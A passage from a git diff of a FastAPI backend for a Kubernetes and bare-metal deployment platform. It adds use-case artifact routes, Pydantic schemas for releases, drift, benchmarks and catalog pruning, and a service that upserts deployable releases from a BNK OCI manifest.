Body(default=DeployStackRequest()), + user: User = Depends(require_project_owner), + db: Session = Depends(get_db), +): + """Deploy all stack modules (init + apply). Accepts optional deployable_release_id for BNK/bare-metal blueprints.""" svc = StackService(db) - result = svc.run_deploy(project_id, stack_id) + result = svc.run_deploy(project_id, stack_id, deployable_release_id=body.deployable_release_id) db.commit() return result diff --git a/backend/routes/usecase_artifacts.py b/backend/routes/usecase_artifacts.py new file mode 100644 index 00000000..3b45d606 --- /dev/null +++ b/backend/routes/usecase_artifacts.py @@ -0,0 +1,121 @@ +""" +Use-Case Artifact routes (D-034 Phase 0 tracer). + +Endpoints: + - POST /api/clusters/{cluster_id}/usecase-artifacts/capture + Capture F5SPKVlan CRs from a cluster into a versioned use-case artifact. + - POST /api/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/apply + Render a use-case artifact version and apply it via the shared write path. + - POST /api/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/drift + Render desired-state and diff it against the live cluster. +""" + +import logging + +from fastapi import APIRouter, Depends +from sqlalchemy.orm import Session + +from core.errors import NotFoundError, handle_route_errors +from database import get_db +from models import KubernetesCluster, UseCaseArtifactVersion, User +from routes.auth import require_cluster_owner, require_operator +from schemas.usecase_artifact import ( + UseCaseApplyRequest, + UseCaseApplyResponse, + UseCaseCaptureRequest, + UseCaseCaptureResponse, + UseCaseDriftRequest, + UseCaseDriftResponse, +) +from services.k8s_drift_service import check_usecase_drift +from services.usecase_artifact_service import apply_usecase_artifact, capture_usecase_artifact + +logger = logging.getLogger(__name__) +router = APIRouter(prefix="/api", tags=["usecase-artifacts"]) + + +def _get_cluster(cluster_id: int, db: Session) -> KubernetesCluster: + cluster = db.query(KubernetesCluster).filter(KubernetesCluster.id == cluster_id).first() + if not cluster: + raise NotFoundError("cluster", cluster_id) + return cluster + + +def _get_version(version_id: int, db: Session) -> UseCaseArtifactVersion: + version = db.query(UseCaseArtifactVersion).filter(UseCaseArtifactVersion.id == version_id).first() + if not version: + raise NotFoundError("usecase artifact version", version_id) + return version + + +@router.post( + "/clusters/{cluster_id}/usecase-artifacts/capture", + response_model=UseCaseCaptureResponse, +) +@handle_route_errors("capture use-case artifact") +def capture_artifact( + cluster_id: int, + body: UseCaseCaptureRequest, + user: User = Depends(require_operator), + db: Session = Depends(get_db), +): + """Capture F5SPKVlan CRs from a cluster into a versioned use-case artifact.""" + _get_cluster(cluster_id, db) + version, created = capture_usecase_artifact( + db, + cluster_id, + name=body.name, + version=body.version, + matching_bnk_version=body.matching_bnk_version, + created_by=user.username, + ) + db.commit() + db.refresh(version) + return UseCaseCaptureResponse(version=version, already_captured=not created) + + +@router.post( + "/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/apply", + response_model=UseCaseApplyResponse, +) +@handle_route_errors("apply use-case artifact") +def apply_artifact( + cluster_id: int, + version_id: int, + body: UseCaseApplyRequest, + user: User = Depends(require_cluster_owner), + db: Session = Depends(get_db), +): + """Render a use-case artifact version and apply it to a cluster via the shared write path.""" + cluster = _get_cluster(cluster_id, db) + version = _get_version(version_id, db) + results, application = apply_usecase_artifact(db, cluster, version, body.param_values, applied_by=user.username) + db.commit() + db.refresh(application) + return UseCaseApplyResponse( + message=( + f"Applied use-case artifact v{version.version}: " + f"{len(results['applied'])} applied, {len(results['failed'])} failed, " + f"{len(results['skipped'])} skipped" + ), + results=results, + application=application, + ) + + +@router.post( + "/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/drift", + response_model=UseCaseDriftResponse, + dependencies=[Depends(require_operator)], +) +@handle_route_errors("check use-case artifact drift") +def drift_artifact( + cluster_id: int, + version_id: int, + body: UseCaseDriftRequest, + db: Session = Depends(get_db), +): + """Render desired-state from a use-case artifact version and diff against the live cluster.""" + cluster = _get_cluster(cluster_id, db) + version = _get_version(version_id, db) + return check_usecase_drift(db, cluster, version, body.param_values) diff --git a/backend/schemas/bare_metal.py b/backend/schemas/bare_metal.py index 3748ac57..044fd4c0 100644 --- a/backend/schemas/bare_metal.py +++ b/backend/schemas/bare_metal.py @@ -1,8 +1,9 @@ """Pydantic schemas for bare-metal DPU deployment API.""" from datetime import datetime +from typing import Self -from pydantic import BaseModel, Field +from pydantic import BaseModel, Field, model_validator # --- Host Schemas --- @@ -30,6 +31,7 @@ class BareMetalHostCreate(BaseModel): deploy_dpu_pci_address: str | None = None rshim_source: str | None = None # "host" | "bmc" bond_mode: str | None = None # "independent" | "lag" + net_rshim_mac_base: str | None = None # host-level tmfifo MAC base override class BareMetalHostUpdate(BaseModel): @@ -56,6 +58,7 @@ class BareMetalHostUpdate(BaseModel): deploy_dpu_pci_address: str | None = None rshim_source: str | None = None bond_mode: str | None = None + net_rshim_mac_base: str | None = None # host-level tmfifo MAC base override class BareMetalHostResponse(BaseModel): @@ -107,6 +110,7 @@ class BareMetalHostResponse(BaseModel): deploy_dpu_index: int | None = None rshim_source: str | None = None bond_mode: str | None = None + net_rshim_mac_base: str | None = None # host-level tmfifo MAC base override has_discovery_result: bool = False # Flag, NOT the full blob kubernetes_cluster_id: int | None created_at: datetime @@ -120,11 +124,24 @@ class BareMetalHostListResponse(BaseModel): # --- Deployment Schemas --- class BareMetalDeploymentCreate(BaseModel): - host_id: int + host_id: int | None = None + control_plane_host_id: int | None = None + # Widens the active-deployment conflict check in the orchestrator only. + # Does NOT trigger worker deployments — multi-host orchestration lands in Phase 2. + worker_host_ids: list[int] | None = None resume_from_step: int | None = None # Optional: resume from this step index skip_discovery: bool = False # Skip pre-flight discovery selected_phases: list[str] | None = None # None = all phases selected_steps: list[str] | None = None # None = all steps in selected phases + deployable_release_id: int | None = None # None = catalog default (is_default=True) + + @model_validator(mode="after") + def _validate_host_ids(self) -> Self: + if self.host_id is None and self.control_plane_host_id is None: + raise ValueError("Either host_id or control_plane_host_id must be provided") + if self.host_id is None and self.control_plane_host_id is not None: + self.host_id = self.control_plane_host_id + return self class DeploymentStepResponse(BaseModel): @@ -221,14 +238,17 @@ class BareMetalDiscoveryResponse(BaseModel): discovered_at: datetime -# --- Version Profile Schemas --- +# --- Deployable Release Schemas --- -class BnkVersionProfileResponse(BaseModel): +class DeployableReleaseResponse(BaseModel): id: int name: str display_name: str description: str | None is_default: bool + is_active: bool + source_type: str + bnk_release_id: int | None bnk_manifest_version: str bnk_cr_kind: str flo_version: str @@ -244,8 +264,12 @@ class BnkVersionProfileResponse(BaseModel): storage_class_type: str storage_provisioner: str feature_flags: dict | None + # ADR-494 provenance fields — optional so existing callers need no changes + source_id: int | None = None + last_synced: datetime | None = None created_at: datetime -class BnkVersionProfileListResponse(BaseModel): - profiles: list[BnkVersionProfileResponse] +class DeployableReleaseListResponse(BaseModel): + releases: list[DeployableReleaseResponse] + diff --git a/backend/schemas/benchmarks.py b/backend/schemas/benchmarks.py index 85e2db73..e5e65c99 100644 --- a/backend/schemas/benchmarks.py +++ b/backend/schemas/benchmarks.py @@ -158,8 +158,15 @@ class BenchmarkRunResponse(BaseModel): agent_id: int | None target_id: int | None proxy_deployment_id: int | None + scenario_key: str | None = None status: str error_message: str | None + is_baseline: bool = False + # Baseline reference for this run's (target_id, scenario_key, config_id, proxy, variant_label) context — + # populated only when a different run holds the baseline. Frontend badge logic + # (isRegression in benchmark-utils.tsx) diffs against these. + baseline_latency_p99: float | None = None + baseline_overall_rps: float | None = None # Denormalized metrics duration_seconds: float | None @@ -245,6 +252,9 @@ class BenchmarkCompareRunMetrics(BaseModel): model: str tool: str run_label: str | None + config_id: int | None = None + scenario_key: str | None = None + variant_label: str | None = None status: str total_requests: int | None success_rate_pct: float | None @@ -267,6 +277,39 @@ class BenchmarkCompareResponse(BaseModel): """Response for proxy-vs-proxy comparison.""" runs: list[BenchmarkCompareRunMetrics] winners: dict # {"latency_p50": run_id, "overall_rps": run_id, ...} + # True when the compared runs don't share the same config_id/scenario_key — + # frontend shows a "comparing mismatched configs" warning instead of silently + # implying an apples-to-apples comparison. + context_mismatch: bool = False + + +# ============================================================================= +# Trends Schemas — time-series + baseline for a (target, proxy, scenario/config) +# ============================================================================= + +class BenchmarkTrendPoint(BaseModel): + """One time-series point for the Trends view.""" + id: int + run_label: str | None + created_at: datetime + is_baseline: bool + latency_p50: float | None + latency_p99: float | None + overall_rps: float | None + peak_rps: float | None + success_rate_pct: float | None + tokens_per_sec: float | None + total_output_tokens: int | None + + class Config: + from_attributes = True + + +class BenchmarkTrendsResponse(BaseModel): + """Time-ordered (oldest-first) completed-run metrics for a target/proxy/scenario/config + context, plus the current baseline run id (included in points even if outside limit).""" + points: list[BenchmarkTrendPoint] + baseline_run_id: int | None # ============================================================================= diff --git a/backend/schemas/catalog_prune.py b/backend/schemas/catalog_prune.py new file mode 100644 index 00000000..c99e9af8 --- /dev/null +++ b/backend/schemas/catalog_prune.py @@ -0,0 +1,67 @@ +"""Response models for catalog pruning. + +Shared by both prune routes (module sources and blueprint sources) so the two +report an identical shape — the service returns the same ``PruneResult`` for +either, and a caller should not have to care which catalog it pruned. +""" + +from typing import Literal + +from pydantic import BaseModel, Field + + +class PruneRequest(BaseModel): + """How much of a source's version history to retire. + + Shared by both prune routes. They were byte-identical inline models in the + two route files, which is the "schemas live in TWO places" trap in + AGENTS.md — and it would have produced two separate OpenAPI schema names + free to drift apart. + """ + + keep: int = Field( + default=1, ge=1, le=50, + description="Newest versions to keep per module path / blueprint id", + ) + delete: bool = Field( + default=False, + description="Remove unreferenced rows outright instead of deactivating", + ) + dry_run: bool = Field( + default=False, description="Report what would happen and change nothing" + ) + include_in_use: bool = Field( + default=False, + description=( + "Also deactivate versions something is deployed from. " + "They are still never deleted." + ), + ) + + +class PruneItemResponse(BaseModel): + """What happened to one catalog version.""" + + identity: str = Field(description="Module path, or blueprint id") + version: str = Field(description="The version or release considered") + action: Literal["kept", "deactivated", "deleted", "in_use"] = Field( + description=( + "kept — within the newest `keep`, or already inactive; " + "deactivated — hidden but still resolvable for anything pinned to it; " + "deleted — row removed, only ever one nothing references; " + "in_use — something is deployed from it, so it was left untouched" + ) + ) + reason: str = Field(default="", description="Why, when the action needs explaining") + + +class PruneResponse(BaseModel): + """The full plan, and what was carried out unless ``dry_run``.""" + + source_id: int + dry_run: bool = Field(description="True when nothing was changed") + keep: int = Field(description="Newest versions retained per module path / blueprint id") + counts: dict[str, int] = Field( + default_factory=dict, description="Item count per action" + ) + items: list[PruneItemResponse] = Field(default_factory=list) diff --git a/backend/schemas/dpu.py b/backend/schemas/dpu.py index 288bf5f8..3c96d223 100644 --- a/backend/schemas/dpu.py +++ b/backend/schemas/dpu.py @@ -52,6 +52,9 @@ class BluefieldSoftwareImageResponse(BaseModel): doca_host_url: str | None is_default: bool notes: str | None + # Non-empty only on create/update responses when URL reachability check + # found a problem. Empty list on GET responses (check is not re-run). + url_warnings: list[str] = Field(default_factory=list) created_at: datetime updated_at: datetime @@ -466,6 +469,13 @@ class DpuResponse(BaseModel): # what gets flashed without duplicating the rules client-side. bfb_hostname: str | None = None + # ADR-424: BNK cluster membership + persisted tmfifo /30 allocation. + # Surfaced so the member dialog can seed selections from real membership + # and disable DPUs already bound to a different cluster. + kubernetes_cluster_id: int | None = None + host_tmfifo_ip: str | None = None + dpu_tmfifo_ip: str | None = None + created_at: datetime updated_at: datetime diff --git a/backend/schemas/drift.py b/backend/schemas/drift.py index ebb43f86..badd1570 100644 --- a/backend/schemas/drift.py +++ b/backend/schemas/drift.py @@ -6,9 +6,11 @@ - Drift check response - Drift summary response - Trigger drift check request + - Cluster drift status response (module drift + release-line drift) """ from datetime import datetime +from typing import Any, Literal from pydantic import BaseModel @@ -96,3 +98,57 @@ class DriftSummaryResponse(BaseModel): class TriggerDriftCheckRequest(BaseModel): """Request model for triggering drift check.""" module_ids: list[int] | None = None + + +# ============================================================================= +# Cluster Drift Status (module drift + release-line drift) +# ============================================================================= + +class ReleaseDrift(BaseModel): + """ + Deployed-vs-running release-line drift signal (ADR-494 Phase B). + + Granularity is VERSION LINE (e.g. BNK 2.3 vs BNK 2.4), not exact build + (e.g. 2.3.0 vs 2.3.1). Discovery resolves a FLO chart version to a whole + release-line registry row; exact point-release comparison is deferred until + discovery emits build-level information. + + Status meanings: + in_sync — deployed and running resolve to the same release line + drifted — deployed and running resolve to different release lines + not_forge_deployed — cluster has no Forge-tracked deployable release + undiscovered — cluster has not been scanned / FLO version undetectable + deployed_unresolved — cluster is Forge-deployed but the deployed release's FLO version + could not be resolved to a known release line + """ + status: Literal["in_sync", "drifted", "not_forge_deployed", "undiscovered", "deployed_unresolved"] + deployed_release_id: int | None = None + running_release_id: int | None = None + + +class ModuleDriftStatus(BaseModel): + """Per-module drift status entry within a cluster drift status response.""" + module_id: int + module_name: str | None = None + module_path: str | None = None + engine_type: str | None = None + status: str + drift_detected: bool + drift_summary: str | None = None + drift_details: dict[str, Any] | None = None + last_check_at: str | None = None + check_id: int | None = None + + +class ClusterDriftStatusResponse(BaseModel): + """Response for GET /api/clusters/{cluster_id}/drift/status.""" + cluster_id: int + project_id: int | None = None + drift_enabled: bool + total_modules: int + modules_with_drift: int + modules_ok: int + modules_unchecked: int + overall_status: str + module_statuses: list[ModuleDriftStatus] + release_drift: ReleaseDrift diff --git a/backend/schemas/k8s.py b/backend/schemas/k8s.py index 3e250971..21ab73d2 100644 --- a/backend/schemas/k8s.py +++ b/backend/schemas/k8s.py @@ -46,6 +46,46 @@ class PlatformConstraints(BaseModel): # Cluster Responses # ============================================================================= +class BnkClusterConfigSummary(BaseModel): + id: int + cluster_id: int + tmfifo_pool_cidr: str = "192.168.100.0/22" + join_transport: str = "rshim" + control_plane_host_id: int | None = None + # Current membership (ADR-424 #4): IDs of hosts/DPUs whose + # kubernetes_cluster_id == cluster_id. Lets the member dialog seed its + # selection from real membership instead of re-applying the B-all default + # on every open (which silently steals members from sibling clusters). + host_ids: list[int] = Field(default_factory=list, description="IDs of hosts currently in this cluster") + dpu_ids: list[int] = Field(default_factory=list, description="IDs of DPUs currently in this cluster") + + +class BnkClusterConfigCreateRequest(BaseModel): + # All fields use None as sentinel: omitting a field means "don't change the stored value". + # On first create, None falls back to the DB server_default (192.168.100.0/22 / rshim). + tmfifo_pool_cidr: str | None = Field(None, description="Cluster-wide tmfifo pool CIDR (omit to keep current)") + join_transport: Literal["rshim", "mgmt"] | None = Field( + None, description="Join transport type ('rshim' or 'mgmt'; omit to keep current)" + ) + control_plane_host_id: int | None = Field(None, description="ID of designated Control Plane host") + + +class BnkClusterMemberAssignRequest(BaseModel): + control_plane_host_id: int = Field(..., description="ID of designated Control Plane host") + host_ids: list[int] = Field(default_factory=list, description="IDs of member bare-metal hosts") + dpu_ids: list[int] = Field(default_factory=list, description="IDs of member DPUs") + # None means "use/keep the currently configured pool CIDR"; provide a value to change it. + tmfifo_pool_cidr: str | None = Field(None, description="Cluster-wide tmfifo pool CIDR (omit to keep current)") + + +class BnkClusterMemberAssignResponse(BaseModel): + cluster_id: int + control_plane_host_id: int + host_ids: list[int] + assigned_dpus: list[dict[str, Any]] + bnk_config: BnkClusterConfigSummary + + class ClusterSummary(BaseModel): """Single cluster in list response.""" id: int @@ -68,7 +108,12 @@ class ClusterSummary(BaseModel): ssh_credential_id: int | None = None ssh_host_override: str | None = None enabled_prerequisites: list[str] | None = None + bnk_config: BnkClusterConfigSummary | None = None node_count: int | None = None + # ADR-478/494: release FK ids — deployable = intent (set at deploy time); + # running = observed (set by discovery scan). Both nullable. + deployable_release_id: int | None = None + running_release_id: int | None = None last_synced_at: str | None = None created_at: str | None = None updated_at: str | None = None @@ -103,6 +148,10 @@ class ClusterDetailResponse(BaseModel): ssh_host_override: str | None = None enabled_prerequisites: list[str] | None = None meta_data: dict[str, Any] | None = None + # ADR-478/494: release FK ids — deployable = intent (set at deploy time); + # running = observed (set by discovery scan). Both nullable. + deployable_release_id: int | None = None + running_release_id: int | None = None last_synced_at: str | None = None created_at: str | None = None updated_at: str | None = None diff --git a/backend/schemas/projects.py b/backend/schemas/projects.py index 3b756eaf..d76d0ad4 100644 --- a/backend/schemas/projects.py +++ b/backend/schemas/projects.py @@ -176,6 +176,11 @@ class ProjectListItem(BaseModel): module_count: int | None = 0 deployed_count: int | None = 0 failed_count: int | None = 0 + # Single pollable field for teardown completion: "clean" | "in_progress" | "failed". + # Defaults to "unknown", not "clean": callers are told to treat anything other + # than "clean" as unfinished, so a serializer that forgets this field must fail + # safe rather than report a teardown complete. + module_state: str = "unknown" cluster_count: int = 0 owner: str | None = None team: str | None = None @@ -234,6 +239,11 @@ class ProjectDetailResponse(BaseModel): module_count: int = 0 deployed_count: int = 0 failed_count: int = 0 + # Single pollable field for teardown completion: "clean" | "in_progress" | "failed". + # Defaults to "unknown", not "clean": callers are told to treat anything other + # than "clean" as unfinished, so a serializer that forgets this field must fail + # safe rather than report a teardown complete. + module_state: str = "unknown" owner: str | None = None team: str | None = None visibility: str | None = "private" @@ -466,6 +476,26 @@ class ModuleActionSubmitResponse(BaseModel): status: str +class DeploymentOutputResponse(BaseModel): + """Response for GET /api/project-modules/{id}/deployments/{deployment_id}/output. + + The captured stdout/stderr of a deployment run. Without this the only place a + failed module's step output existed was the UI's log viewer, so a headless or + CI-driven deploy had no way to find out why it failed (issue #526). + """ + module_id: int + deployment_id: int + action: str + status: str + exit_code: int | None = None + started_at: str | None = None + completed_at: str | None = None + duration_seconds: float | None = None + stdout: str + stderr: str + truncated: bool = False + + class ModuleReportFile(BaseModel): """One file within a report run (D-034 PR-2.5).""" path: str diff --git a/backend/schemas/release_source.py b/backend/schemas/release_source.py new file mode 100644 index 00000000..389f94ca --- /dev/null +++ b/backend/schemas/release_source.py @@ -0,0 +1,91 @@ +"""Pydantic schemas for ReleaseSource API (ADR-494).""" + +from datetime import datetime + +from pydantic import BaseModel, Field + +from models.enums import ReleaseSourceKind + +# --------------------------------------------------------------------------- +# Live-fetch schemas (tag listing and pull — ADR-494 Phase A) +# --------------------------------------------------------------------------- + + +class ReleaseSourceCreate(BaseModel): + name: str + kind: ReleaseSourceKind + url: str | None = None + credential: str | None = Field(default=None, description="Pull-secret or token; encrypted before storage.") + is_active: bool = True + auto_sync: bool = False + sync_interval_hours: int | None = None + description: str | None = None + + +class ReleaseSourceUpdate(BaseModel): + name: str | None = None + kind: ReleaseSourceKind | None = None + url: str | None = None + credential: str | None = Field(default=None, description="Set to update; omit to leave unchanged.") + is_active: bool | None = None + auto_sync: bool | None = None + sync_interval_hours: int | None = None + description: str | None = None + + +class ReleaseSourceResponse(BaseModel): + id: int + name: str + kind: str + url: str | None + has_credential: bool # True when credential_encrypted is set; never exposes ciphertext + is_active: bool + auto_sync: bool + sync_interval_hours: int | None + last_synced_at: datetime | None + sync_status: str + sync_error: str | None + release_count: int + description: str | None + created_at: datetime + updated_at: datetime + + +class ReleaseSourceTag(BaseModel): + """A single tag from the OCI/mirror registry with catalog-membership annotation.""" + + tag: str + in_catalog: bool # True when a bnk_deployable_release row exists for this manifest version + prerelease: bool # True when the base version segment indicates a pre-release + + +class ReleaseSourceTagList(BaseModel): + """Response for GET /{id}/tags. tags is empty on listing failure.""" + + tags: list[ReleaseSourceTag] + list_error: str | None = None # Non-null when the listing call failed (non-500) + + +class PullTagsRequest(BaseModel): + """Request body for POST /{id}/tags:pull.""" + + tags: list[str] = Field(..., description="Registry tags to pull (verbatim).") + + +class FailedTag(BaseModel): + """A single tag that could not be added to the Catalog.""" + + tag: str + reason: str + + +class PullTagsSummary(BaseModel): + """Response for POST /{id}/tags:pull. + + Nested model (not dict) so Pydantic's response_model serialisation + preserves the reason field inside each FailedTag entry. + """ + + added: list[str] + skipped: list[str] # Already in Catalog; idempotent re-add + failed: list[FailedTag] # Pull / parse / FLO-missing failures diff --git a/backend/schemas/usecase_artifact.py b/backend/schemas/usecase_artifact.py new file mode 100644 index 00000000..d2134bd7 --- /dev/null +++ b/backend/schemas/usecase_artifact.py @@ -0,0 +1,72 @@ +"""Pydantic schemas for the D-034 use-case artifact tracer (Phase 0).""" + +from datetime import datetime +from typing import Any + +from pydantic import BaseModel, ConfigDict + + +class UseCaseCaptureRequest(BaseModel): + """Capture F5SPKVlan CRs from a cluster into a named, versioned artifact.""" + + name: str + version: str + matching_bnk_version: str | None = None + + +class UseCaseArtifactVersionResponse(BaseModel): + model_config = ConfigDict(from_attributes=True) + + id: int + artifact_id: int + version: str + matching_bnk_version: str | None + cr_templates: list[dict[str, Any]] + param_schema: list[dict[str, Any]] + source: str + source_cluster_id: int | None + content_hash: str + created_by: str | None + created_at: datetime + + +class UseCaseCaptureResponse(BaseModel): + version: UseCaseArtifactVersionResponse + already_captured: bool + + +class UseCaseApplyRequest(BaseModel): + """Concrete param values to inject when rendering the artifact version.""" + + param_values: dict[str, Any] + + +class UseCaseApplicationResponse(BaseModel): + model_config = ConfigDict(from_attributes=True) + + id: int + artifact_version_id: int + cluster_id: int + param_values: dict[str, Any] + applied_by: str | None + applied_at: datetime + + +class UseCaseApplyResponse(BaseModel): + message: str + results: dict[str, list[dict[str, Any]]] + application: UseCaseApplicationResponse + + +class UseCaseDriftRequest(BaseModel): + """Param values to render the desired-state before diffing against the cluster.""" + + param_values: dict[str, Any] + + +class UseCaseDriftResponse(BaseModel): + drift_detected: bool + resource_changes: dict[str, int] + changed_resources: list[dict[str, Any]] + summary: str + check_duration_ms: int diff --git a/backend/services/backup_service.py b/backend/services/backup_service.py index 30a87679..cc6de0fd 100644 --- a/backend/services/backup_service.py +++ b/backend/services/backup_service.py @@ -38,7 +38,7 @@ "users", "bare_metal_hosts", "bare_metal_deployments", - "bnk_version_profiles", + "bnk_deployable_release", "helm_charts", "stack_templates", "stack_instances", diff --git a/backend/services/bare_metal/__init__.py b/backend/services/bare_metal/__init__.py index 0a166518..8f800d48 100644 --- a/backend/services/bare_metal/__init__.py +++ b/backend/services/bare_metal/__init__.py @@ -14,13 +14,13 @@ get_steps_for_topology, ) from services.bare_metal.ssh_session import RemoteSSHSession, SSHResult, SSHSession -from services.bare_metal.version_profiles import BnkVersionProfileService +from services.bare_metal.version_profiles import BnkDeployableReleaseService __all__ = [ "RemoteSSHSession", "SSHSession", "SSHResult", - "BnkVersionProfileService", + "BnkDeployableReleaseService", "BareMetalDeploymentService", "StepDefinition", "TOPOLOGY_STEPS", diff --git a/backend/services/bare_metal/deployable_release_refresh.py b/backend/services/bare_metal/deployable_release_refresh.py new file mode 100644 index 00000000..2839235b --- /dev/null +++ b/backend/services/bare_metal/deployable_release_refresh.py @@ -0,0 +1,290 @@ +"""Deployable-release OCI refresh service (ADR-478 P1-5). + +Parses a BNK manifest YAML from repo.f5.com and upserts rows into +bnk_deployable_release. This service writes ONLY to bnk_deployable_release; +it never touches bnk_releases or the sync_from_oci / resolve_ga behaviour +of ReleaseRegistryService. + +The forge backend has no ambient repo.f5.com credential, so the manifest +YAML is accepted as input — network fetch is the caller's responsibility +(admin trigger with cne_pull_secret, CI pipeline, or the bare-metal SSH +prerequisites module which already does the pull on-host). + +Component-version parsing reuses parse_component_versions() from +modules/bare_metal/bnk_prerequisites.py (same dict format: chart/image +name → version string, keyed with their "charts/" or "images/" prefix). +""" + +import logging +from datetime import UTC, datetime + +import yaml +from sqlalchemy.orm import Session + +from models.bnk_deployable_release import BnkDeployableRelease +from models.enums import ReleaseSourceType +from modules.bare_metal.bnk_prerequisites import parse_component_versions + +logger = logging.getLogger(__name__) + +# Mirrors _MANIFEST_CHART in modules/bare_metal/bnk_prerequisites.py. +# The manifest chart pulled from repo.f5.com to resolve component versions. +OCI_MANIFEST_CHART = "oci://repo.f5.com/release/f5-bigip-k8s-manifest" + +# Chart name in the manifest that carries the FLO (f5-lifecycle-operator) version. +_FLO_CHART_NAME = "charts/f5-lifecycle-operator" + +# Default CR kind when the manifest does not specify one explicitly. +# 2.3.x uses CNEInstance; callers supply overrides for other kinds. +_DEFAULT_CR_KIND = "CNEInstance" + +# Placeholder stored for host-substrate fields not present in the BNK manifest +# (k8s_version, doca_version, …). INSERT without overrides stores "" so the +# row is queryable; callers should backfill via overrides or a subsequent edit. +_UNKNOWN_VERSION = "" + + +def parse_manifest_yaml(yaml_text: str) -> list[dict]: + """Parse a BNK manifest YAML and return a list of release entry dicts. + + Accepts the ``releases:[{version, helm_charts:[{name,version}], + docker_images:[{name,version}]}]`` structure shipped in the + f5-bigip-k8s-manifest Helm chart. + + Each returned dict contains: + - ``manifest_version`` (str): e.g. ``"2.3.1-3.2598.3-0.0.304"`` + - ``component_versions`` (dict[str, str]): chart/image name → version, + identical in format to the dict produced by parse_component_versions() + (e.g. ``{"charts/f5-lifecycle-operator": "v2.21.13-0.0.53", ...}``). + + Uses parse_component_versions() internally so the parsing logic is shared + with the SSH on-host path in modules/bare_metal/bnk_prerequisites.py. + + Raises ValueError on invalid YAML or missing top-level structure. + """ + try: + data = yaml.safe_load(yaml_text) + except yaml.YAMLError as exc: + raise ValueError(f"Invalid YAML in manifest: {exc}") from exc + + if not isinstance(data, dict) or "releases" not in data: + raise ValueError("Manifest YAML missing top-level 'releases' key") + + entries: list[dict] = [] + for rel in data.get("releases", []): + manifest_version = str(rel.get("version", "")).strip() + if not manifest_version: + continue + + # Build key=value lines in the same format that parse_component_versions + # expects (mirrors the awk output from _download_versions on-host). + kv_lines: list[str] = [] + for chart in rel.get("helm_charts", []): + name = str(chart.get("name", "")).strip() + version = str(chart.get("version", "")).strip() + if name and version: + kv_lines.append(f"{name}={version}") + for image in rel.get("docker_images", []): + name = str(image.get("name", "")).strip() + version = str(image.get("version", "")).strip() + if name and version: + kv_lines.append(f"{name}={version}") + + component_versions = parse_component_versions("\n".join(kv_lines)) + entries.append({ + "manifest_version": manifest_version, + "component_versions": component_versions, + }) + + return entries + + +def _derive_name(manifest_version: str) -> str: + """Derive a row name from the OCI manifest version string. + + "2.3.1-3.2598.3-0.0.304" → "bnk-2.3.1" + """ + first_segment = manifest_version.split("-")[0] + return f"bnk-{first_segment}" + + +class DeployableReleaseRefreshService: + """ + OCI manifest → bnk_deployable_release upsert (ADR-478 P1-5). + + Usage:: + + svc = DeployableReleaseRefreshService(db) + result = svc.refresh_deployable_releases_from_oci(manifest_yaml=yaml_text) + # → {"inserted": 1, "updated": 0, "skipped": 0} + + Isolation guarantee: + This service NEVER writes to bnk_releases and NEVER calls + sync_from_oci or any write method on ReleaseRegistryService. + The only cross-service call is a read-only resolve_ga() to resolve + the bnk_release_id FK for display purposes. + """ + + def __init__(self, db: Session) -> None: + self.db = db + + def refresh_deployable_releases_from_oci( + self, + manifest_yaml: str, + *, + is_active: bool = True, + overrides: dict | None = None, + source_id: int | None = None, + ) -> dict[str, int]: + """Parse manifest_yaml and upsert each release entry. + + Args: + manifest_yaml: Raw YAML text from the BNK manifest chart + (e.g. the content of bigip-k8s-manifest-*.yaml extracted + from the Helm tgz pulled via ``helm pull OCI_MANIFEST_CHART``). + is_active: Mark new/updated rows active or inactive. + overrides: Optional per-entry overrides applied to INSERT only. + Accepts any BnkDeployableRelease field; useful for supplying + host-substrate versions (k8s_version, doca_version, etc.) that + are NOT present in the BNK manifest. On UPDATE these are ignored + — existing DB values are preserved. + source_id: When set, stamps source_id and last_synced on every + upserted row. Default None preserves existing ADR-478 behaviour + (no provenance stamping). + + Returns: + ``{"inserted": N, "updated": N, "skipped": N}`` + """ + entries = parse_manifest_yaml(manifest_yaml) + inserted = updated = skipped = 0 + + for entry in entries: + result = self._upsert_entry( + entry, is_active=is_active, overrides=overrides or {}, source_id=source_id + ) + if result == "inserted": + inserted += 1 + elif result == "updated": + updated += 1 + else: + skipped += 1 + + if inserted + updated > 0: + self.db.flush() + + logger.info( + "deployable_release OCI refresh complete: inserted=%d updated=%d skipped=%d", + inserted, + updated, + skipped, + ) + return {"inserted": inserted, "updated": updated, "skipped": skipped} + + # ------------------------------------------------------------------ + # Internals + # ------------------------------------------------------------------ + + def _upsert_entry( + self, entry: dict, *, is_active: bool, overrides: dict, source_id: int | None = None + ) -> str: + """Upsert a single parsed manifest entry. + + Returns "inserted", "updated", or "skipped". + Skipped only when flo_version is absent from the entry (cannot link + to the GA-label registry and cannot safely deploy without FLO chart). + + When source_id is provided, stamps source_id and last_synced on the row + for both INSERT and UPDATE paths. + """ + manifest_version: str = entry["manifest_version"] + component_versions: dict[str, str] = entry["component_versions"] + + flo_version = component_versions.get(_FLO_CHART_NAME, "") + if not flo_version: + logger.warning( + "manifest entry %r missing %r — skipped", + manifest_version, + _FLO_CHART_NAME, + ) + return "skipped" + + existing = ( + self.db.query(BnkDeployableRelease) + .filter(BnkDeployableRelease.bnk_manifest_version == manifest_version) + .first() + ) + + if existing: + # UPDATE — refresh BNK-layer versions; preserve all host-substrate + # fields (k8s_version, doca_version, etc.) already in the DB. + existing.flo_version = flo_version + existing.is_active = is_active + existing.source_type = ReleaseSourceType.OCI + existing.full_manifest = component_versions + # Backfill bnk_release_id if it was previously unresolved. + if existing.bnk_release_id is None: + existing.bnk_release_id = self._resolve_bnk_release_id(flo_version) + if source_id is not None: + existing.source_id = source_id + existing.last_synced = datetime.now(UTC) + return "updated" + + # INSERT — resolve FK and build a complete row. + bnk_release_id = self._resolve_bnk_release_id(flo_version) + name = overrides.get("name") or _derive_name(manifest_version) + display_name = ( + overrides.get("display_name") + or f"BNK {manifest_version.split('-')[0]} (OCI)" + ) + + row_data: dict = { + "name": name, + "display_name": display_name, + "description": overrides.get("description", ""), + "is_default": False, + "is_active": is_active, + "source_type": ReleaseSourceType.OCI, + "bnk_release_id": bnk_release_id, + "bnk_manifest_version": manifest_version, + "bnk_cr_kind": overrides.get("bnk_cr_kind", _DEFAULT_CR_KIND), + "flo_version": flo_version, + # Host-substrate fields — not in the manifest; supply via overrides + # or backfill later. Empty strings satisfy the nullable=False constraint. + "k8s_version": 